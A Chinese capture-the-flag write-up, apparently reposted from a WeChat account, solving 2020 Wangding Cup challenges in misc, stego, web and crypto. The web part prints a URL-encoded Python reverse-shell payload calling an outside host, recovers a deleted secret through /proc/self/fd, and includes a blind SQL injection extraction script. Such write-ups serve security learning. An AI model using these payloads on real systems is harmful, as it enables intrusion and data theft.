签到
ajax请求：setTimeout(function () {if (n) {return}if (e == l) {var t = levelCount - 1;if (t > strings.ok.length - 1) {t = strings.ok.length - 1}if(levelCount>=7){var token = prompt("please input your team Token:").trim();$.ajax({url: 'fate.php',type: 'POST',data: 'token=' + token,success: function(data){var data = data;alert(data);}})}o.innerHTML = strings.ok[t];k()}找到了url： fate.php向这个页面post传递一个token值，就可以得到flag
hack
下载压缩包得到，压缩包中有 sqlmap1.4 0day.zip 和xor。。。
发现文件是加密的。。尝试伪加密，发现不是未加密，，， 尝试爆破无果，唉，忽然想到会不会是明文攻击，
在网上下载一个sqlmap-1.4的文件，来进行明文攻击。。
得到了压缩包密码： 解压得到了 0day.zip和xor文件xor想到可以利用xortools进行爆破：
得到了密钥 WDCTF:尝试对xor进行解密： #coding:utf-8f = open('xor','rb')w = open('xor1.png','ab')line = f.read()key = 'WDCTF'# print hex(ord(line[1]))for i in range(len(line)):w.write(chr(ord(line[i])^ord(key[i % 5])))得到了解密后的文件 用winhex打开：
得到了压缩包的密码： qw91!25fzd$@!解压得到flag文件 MZWGCZ33MY2DMODBGU2DCLJTGJSWKLJUMQZTOLLCHAZDKLJQMI4GCMRQGU2TQNJSGN6Q====进行 base32解密:
hidden
打开压缩包，得到了一个图片： winhex打开发现：
存在压缩包，用 binwalk进行分离得到了一个压缩包：
进行爆破密码，成功爆破得到了密码：
得到了了一半的二维码，尝试修改高度：
将 43修改为85，保存文件，得到了完整的二维码：
扫描得到flag。。。
web picdown
打开题目，发现
是一个图片下载器。。。 猜测可以下载源码： 尝试之后，得到 main.py的源码：
main.py：from flask import Flask, Responsefrom flask import render_templatefrom flask import requestimport osimport urllibapp = Flask(__name__)SECRET_FILE = "/tmp/secret.txt"f = open(SECRET_FILE)SECRET_KEY = f.read().strip()os.remove(SECRET_FILE)def index():return render_template('search.html')def page():url = request.args.get("url")try:if not url.lower().startswith("file"):res = urllib.urlopen(url)value = res.read()response = Response(value, mimetype='application/octet-stream')response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'return responseelse:value = "HACK ERROR!"except:value = "SOMETHING WRONG!"return render_template('search.html', res=value)def manager():key = request.args.get("key")print(SECRET_KEY)if key == SECRET_KEY:shell = request.args.get("shell")os.system(shell)res = "ok"else:res = "Wrong Key!"return resif __name__ == '__main__':app.run(host='0.0.0.0', port=8080)漏洞代码： def manager():key = request.args.get("key")print(SECRET_KEY)if key == SECRET_KEY:shell = request.args.get("shell")os.system(shell)res = "ok"else:res = "Wrong Key!"return res首先接受一个 key值和SECRET_KEY相等，然后接受一个shell值，执行os.system(shell)这里可以反弹shell。这里的 SECRET_KEY是通过SECRET_FILE = "/tmp/secret.txt"f = open(SECRET_FILE)SECRET_KEY = f.read().strip()os.remove(SECRET_FILE)这里读出来的，尝试读取这个 /tmp/secret.txt文件，发现不能读取成功：
发现已经删除 os.remove(SECRET_FILE),忽然想起来以前出现过类似的考点：在 linux 系统中如果一个程序打开了一个文件没有关闭，即便从外部（上文是利用 os.remove(SECRET_FILE)）删除之后，在/proc这个进程的 pid 目录下的fd文件描述符目录下还是会有这个文件的fd，通过这个我们即可得到被删除文件的内容。尝试之后，在 /proc/self/fd/3这里读取到SECRET_FILE
然后进行 python反弹shell/no_one_know_the_manager?key=reIqMCng8hfnu3wD4RDyKnO76LdgLeOYrb6DuPNLzLc=&shell=python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22xx.xx.xx.xx%22,9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27可以成功反弹 shell,最终在/root/flag.txt中得到flag:
flag{75a9190b-44a9-4f39-ba91-950743cbc18d}张三的网站
打开页面，发现是一个登陆页面，注册一个账号看看里面的功能：
登陆后发现：
页面只回显了用户名，忽然感觉这个题，有点熟悉的感觉了。。。 尝试注册用户名为 2'+123+'，尝试登陆：
这不是上一届网鼎杯的原题吗？ 直接拿脚本改一改： import requestsimport stringimport re as rimport sysreload(sys)sys.setdefaultencoding("utf8")url= "http://906482149bf841c0b701c2f92bfaaa213b708f2173aa4e0b.cloudgame1.ichunqiu.com/"ch = '0123456789qwertyuiopasdfghjklzxcvbnm{-}'re = requests.session()flag = ''for j in range(1,50):# payload = "0'+(select ascii(substr((database()) from {} for {})))+'0".format(int(j),1)payload = "0'+(select ascii(substr((select * from flag) from {} for {})))+'0".format(int(j),1)email = '{}[email protected]'.format(str(j)+'kslaml')url1 = url+'register.php'data = dict(email = email, username = payload,password = 'aaaa')res = re.post(url1,data=data)url2 = url+'login.php'data = dict(email = email,password = 'aaaa')html = re.post(url2, data=data)html.encoding = 'utf-8'try:res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)a = res[0][1:].strip()flag += chr(int(a))print flagexcept:pass得到flag:
Crypto b64
题目给出： 密文:uLdAuO8duojAFLEKjIgdpfGeZoELjJp9kSieuIsAjJ/LpSXDuCGduouz泄露的密文:pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF=泄露的明文:ashlkj!@sj1223%^&*Sd4564sd879s5d12f231a46qwjkd12J;DJjl;LjL;KJ8729128713对泄露的密文尝试base64解码，发现失败，对泄露的明文进行base64加密，发现正好和泄露的密文的长度相等。。。 pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF=YXNobGtqIUBzajEyMjMlXiYqU2Q0NTY0c2Q4NzlzNWQxMmYyMzFhNDZxd2prZDEySjtESmpsO0xqTDtLSjg3MjkxMjg3MTM=于是可以猜测是换了码表 利用我们已知明文和对应密文来推算替换的码表， 我们将已知的明文进行base64加密，然后将加密的结果和密文进行一个对比： a= 'pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF='b='YXNobGtqIUBzajEyMjMlXiYqU2Q0NTY0c2Q4NzlzNWQxMmYyMzFhNDZxd2prZDEySjtESmpsO0xqTDtLSjg3MjkxMjg3MTM='list_a=[]for i in a:list_a.append(i)list_b=[]for i in b:list_b.append(i)nvs = zip(list_a,list_b)def deleteDuplicate(li):temp_list = list(set([str(i) for i in li]))li=[eval(i) for i in temp_list]return liprint deleteDuplicate(nvs)得到了如下的对应关系： [('d', 'x'), ('j', 'N'), ('8', 's'), ('B', 'i'), ('k', 'O'), ('T', 'X'), ('H', 'B'), ('F', 'M'), ('9', 't'), ('o', 'T'), ('M', 'o'), ('J', 'G'), ('W', 'q'), ('A', 'h'), ('p', 'Y'), ('Q', 'U'), ('q', 'c'), ('r', 'g'), ('u', 'Z'), ('v', 'a'), ('i', 'I'), ('D', 'k'), ('7', 'r'), ('N', 'p'), ('/', 'F'), ('K', 'l'), ('2', 'D'), ('e', 'y'), ('=', '='), ('g', '0'), ('S', 'W'), ('n', 'S'), ('Z', 'L'), ('w', 'b'), ('O', '3'), ('P', '4'), ('C', 'j'), ('3', 'd'), ('m', 'Q'), ('f', 'z'), ('t', '2'), ('L', 'm'), ('+', 'E')]然后将密文中的字符进行替换， 对照发现还有几个字母的相对应的密文是未知的，分别是 E I X s G z然后根据，flag是uuid的性质，推测出来几位，然后进行手工验证，得到了flag 感觉也是运气比较好，尝试了几次就出来了 flag{1e3a2de5-1c02-4f4f-9b2e-a4afabdf01e6}总结 打过网鼎杯，才知道自己有多菜了，， 大佬们tql… 还要努力呀。。。。
原文始发于微信公众号（白帽子程序员）：2020网鼎杯（白虎组）的部分wp
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论